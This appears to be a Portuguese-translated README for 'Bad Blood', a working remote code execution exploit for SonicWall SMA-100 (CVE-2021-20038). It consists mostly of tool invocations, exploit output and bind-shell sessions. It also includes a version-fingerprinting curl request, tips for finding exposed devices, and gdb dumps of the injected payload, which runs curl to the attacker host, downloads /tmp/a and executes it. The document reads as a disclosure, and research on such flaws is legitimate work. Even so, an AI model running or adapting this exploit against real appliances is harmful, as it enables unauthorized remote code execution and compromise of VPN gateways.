
SonicWall SMA-100 Exploit de RCE sem autenticação (CVE-2021-20038)
Bad Blood é um exploit para CVE-2021-20038, um buffer overflow baseado em pilha no binário httpd de sistemas da série SMA-100 que usam versões de firmware 10.2.1.x. Escrevi muitos dos detalhes técnicos aqui:
O exploit, como escrito, abrirá um shell telnet bind na porta 1270. Um atacante que se conectar ao shell obterá execução como nobody.
albinolobster@ubuntu:/badblood$ date
Mon Jan 10 01:15:12 PM PST 2022
albinolobster@ubuntu:/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.
bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$
## Versões Suportadas
| Versão | Suportada | Testada | Alvo Testado |
| - | - | - | - |
| 10.2.1.2-24sv | Sim | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | Sim | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | Sim | :heavy_check_mark: | SMA 500v ESX |
## Uso
No mínimo, você precisará fornecer:
* rhost: o endereço IP do host remoto
* lhost: o endereço IP do host local
* version: a versão do alvo.
Leia as notas de estabilidade para contexto adicional.
Uma pergunta óbvia é como obter a versão do alvo. Uma simples solicitação `curl` ao alvo revelará que eles usam o número da versão para o versionamento de `css` e `js`.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>
O módulo do Metasploit para o CVE-2021-20039 analisa isso, mas eu não tive coragem de fazer o mesmo para este exploit. Observe que, se você estiver escaneando seu ambiente em busca dessas coisas, acredito que o "Server: SonicWall SSL-VPN Web Server" seja o mais confiável. Cerca de 22 mil em janeiro de 2022.
albinolobster@ubuntu:~/badblood$ python3 badblood.py --help
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]
SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)
optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.
required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target
### --addr vs. --top-addr vs. sem opção
Existem três modos principais de operação. O primeiro é o modo esperado (adivinhação de endereços). Os outros dois são principalmente para fins de teste.
#### Não sei nenhum endereço!
Este é o estado padrão e não há problema! Vamos apenas adivinhar bastante.
#### Sei o endereço do topo da pilha!
Ótimo! Se você puder usar cat maps ou fazer alguma outra mágica:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0 [stack]
Você pode usar o parâmetro --top_addr e reduzir o tempo de ataque para apenas alguns segundos!```
albinolobster@ubuntu:/badblood$ date
Mon Jan 10 05:42:19 PM PST 2022
albinolobster@ubuntu:/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server [+] User provided the top stack address: bfa4a000 [+] Generated 511 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 243 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 33% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 17:42:34 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.
bash-4.2$ whoami nobody bash-4.2$
#### Sei o endereço exato de $ebp+8
Meu amigo. Use --addr.```
albinolobster@ubuntu:~/badblood$ date
Mon Jan 10 05:48:58 PM PST 2022
albinolobster@ubuntu:~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --addr 3215229520
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server
[+] User provided the crash address: bfa48250
[+] Filtering addresses for double visits (thanks awesome payload!)
[+] Filtered down to 1 total addresses to search
[+] Crashing all forks to reset stack to a semi-predicatable state
[+] Crashing complete. Good job. Let's go do work.
[+] Disabling stderr
[+] Spawning 4 workers
[+] Attempting to exploit the remote server. This might take quite some time. :eek:
[*] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 17:49:08
[*] Now we got bad blood. Hey! 🦞
albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270
Trying 10.0.0.7...
Connected to 10.0.0.7.
Escape character is '^]'.
bash-4.2$ whoami
nobody
bash-4.2$ uname -a
Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux
bash-4.2$
Uma boa pergunta para qualquer exploit: Quão estável é este exploit? Nem um pouco :lol: O buffer overflow ocorre em uma biblioteca chamada mod_cgi.so (uma versão modificada do projeto Apache HTTP). A biblioteca é carregada com uma base aleatória e o overflow requer um layout de memória muito específico para ser bem-sucedido (pelo menos como eu o interpreto). Realmente não é nada bom para um atacante remoto. Mas, como detalhei na entrada do AttackerKB, há uma variedade de coisas que nos permitem adivinhar o endereço aleatório que desejamos.
Como tal, este exploit, como está escrito (não posso enfatizar o suficiente que isso pode ser melhorado), envia até 235.335 requisições HTTP para acertar o payload adivinhando um endereço de pilha. Duzentos mil requisições não parece ruim, mas pode levar algum tempo. No exemplo que postei acima, o exploit levou 83 minutos para acertar. O que significa que você não vai incorporá-lo ao seu botnet Mirai para espalhar pela internet 🤷 Acho que é um exploit razoável para um ataque direcionado, no entanto.
Além disso, o exploit (como implementado) sofre de dois problemas que podem fazer a exploração falhar. O primeiro é meio bobo. Há dois endereços na frente do comando de shell que eventualmente é executado. Ambos os endereços são passados para /bin/sh porque programar é difícil. Se o primeiro endereço tiver um metacaractere de shell como '(' ou '`', o exploit simplesmente nunca funcionará. Desculpe! A pior parte é que você nunca saberá de verdade se o alvo remoto exige tal endereço ou se o exploit está quebrado!
O segundo problema é muito mais específico de como escrevi isso, e poderia ser facilmente corrigido por alguém que se importe. Escrevi este exploit para fazer uma chamada ao system, porque sou preguiçoso e um hack. Isso exigiu que o payload permanecesse com menos de cerca de 2500 bytes, caso contrário você acaba sobrescrevendo env[] e travando/falhando. De qualquer forma. Como mencionado na entrada do AKB, o overflow ocorre devido ao acúmulo de uma string de ambiente. Alinhamento e afins são muito importantes para este exploit. Aqui está um exemplo do payload na memória:```
Breakpoint 1, 0xb697cfe6 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb697cfe6,0xb697cfea
Dump of assembler code from 0xb697cfe6 to 0xb697cfea:
=> 0xb697cfe6: mov 0x8(%ebp),%eax
0xb697cfe9: mov 0x110(%eax),%eax
End of assembler dump.
(gdb) printf "%s", $ebp-982
10.0.0.3 REDIRECT_QUERY_STRING=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz REDIRECT_WAF_NOT_LICENSED=1REDIRECT_SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaREDIRECT_SCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaREDIRECT_HTTPS=onREDIRECT_REQUEST_METHOD=GETREDIRECT_STATUS=404WAF_NOT_LICENSED=1SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaSCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaHTTPS=onSERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=sslvpnSERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.3DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=38236REDIRECT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaGATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/0.9REQUEST_METHOD=GETREQUEST_URI=/%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSCRIPT_NAME=/missing.html
E aqui é onde ele aterrissa:```
(gdb) printf "%s", $ebp+8
$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaSCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaHTTPS=onSERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=sslvpnSERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.3DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=38236REDIRECT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaaGATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/0.9REQUEST_METHOD=GETREQUEST_URI=/%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa%24%87%a4%bf%38%88%a4%bf%38%88%a4%bf%08%b7%06%08;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSCRIPT_NAME=/missing.html
(gdb) x/4x $ebp+8
0xbfa48250: 0xbfa48724 0xbfa48838 0xbfa48838 0x0806b708
(gdb)
Qualquer valor desconhecido entre o início do payload e o fim vai bagunçar o alinhamento. Vamos detalhar isso um pouco melhor:``` 10.0.0.3 REDIRECT_QUERY_STRING=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz REDIRECT_WAF_NOT_LICENSED=1 REDIRECT_SCRIPT_URL=/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa REDIRECT_SCRIPT_URI=https://sslvpn/$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa$���8���8��;{curl,10.0.0.3:1270,-o,/tmp/a};{chmod,+x,/tmp/a};/tmp/a;aaaaaaa REDIRECT_HTTPS=on REDIRECT_REQUEST_METHOD=GET REDIRECT_STATUS=404 WAF_NOT_LICENSED=1 SCRIPT_URL=/
Os problemas óbvios são:
* Endereço IP no início
* Nome de host (`sslvpn` no exemplo)
Ambos são facilmente contornados simplesmente modificando a string de consulta (z*400+). No entanto, descobrir o nome de host real (sslvpn é apenas o padrão) e o IP do atacante como aparece aqui pode nem sempre ser tão trivial. Na verdade, não tenho certeza da melhor maneira de determinar o nome de host... mas apenas para provar que o não padrão funciona:```
albinolobster@ubuntu:~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3218436096 --rhostname sslvpn1
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server
[+] User provided the top stack address: bfd57000
[+] Generated 511 total addresses to search
[+] Filtering addresses for double visits (thanks awesome payload!)
[+] Filtered down to 243 total addresses to search
[+] Crashing all forks to reset stack to a semi-predicatable state
[+] Crashing complete. Good job. Let's go do work.
[+] Disabling stderr
[+] Spawning 4 workers
[+] Attempting to exploit the remote server. This might take quite some time. :eek:
[%] Addresses Tested: 9%
[*] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 18:31:45
[*] Now we got bad blood. Hey! 🦞
albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270
Trying 10.0.0.7...
Connected to 10.0.0.7.
Escape character is '^]'.
bash-4.2$ uname -a
Linux sslvpn1 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux
bash-4.2$
Queres hackear isto? Ótimo! Recomendo vivamente fazer root ao dispositivo usando o módulo Metasploit CVE-2021-20039. Coloca o busybox no dispositivo e inicia uma shell telnet de root. Coloca o gdb no dispositivo e começa a depurar.